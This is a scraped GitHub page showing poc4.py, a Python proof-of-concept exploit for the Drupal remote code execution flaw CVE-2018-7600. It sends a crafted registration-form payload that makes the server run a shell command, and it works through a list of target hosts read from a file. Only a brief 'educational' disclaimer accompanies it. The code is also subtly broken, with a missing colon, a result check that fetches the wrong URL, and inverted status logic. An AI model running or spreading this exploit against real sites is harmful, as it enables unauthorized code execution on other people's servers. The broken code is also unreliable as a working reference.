forked from g0rx/CVE-2018-7600-Drupal-RCE
/
poc4.py
executable file
·57 lines (46 loc) · 1.8 KB
/
poc4.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
from requests import post, get
from readline import parse_and_bind
from requests.exceptions import ConnectionError
info = '\033[1;33m[!]\033[1;m '
que = '\033[1;34m[?]\033[1;m '
bad = '\033[1;31m[-]\033[1;m '
good = '\033[1;32m[+]\033[1;m '
run = '\033[1;97m[~]\033[1;m '
bash_command = "echo UID: $(id -u) Name: $(id -u -n) | tee user.txt"
def cve_2018_7600(target):
if not target.startswith('http')
print(bad + 'Target URL must contain http or https')
if not target.endswith('/'):
target = target + '/'
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1',
'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': bash_command}
r = post(url, data=payload)
if r.status_code != 200:
print(bad + target + ' Not exploitable')
else:
user_txt = target + 'user.txt'
print(good + 'Checking... ' + user_txt)
r_user = get(target)
if r_user.status_code != 200:
print(good + r_user.text)
def exploit_from_file(file_name):
with open(file_name) as file:
for target in file:
try:
cve_2018_7600(target.strip())
except Exception as e:
print(bad + str(e))
if __name__ == '__main__':
try:
print(info + 'Provided only for educational or information purposes.'.upper())
parse_and_bind('tab: complete')
file_name = input(
que + 'Enter file name (example: /root/file/hosts.txt): ')
exploit_from_file = exploit_from_file(file_name)
except KeyboardInterrupt:
print(bad + 'Exiting...')
exit(0)
except Exception as e:
print(bad + str(e))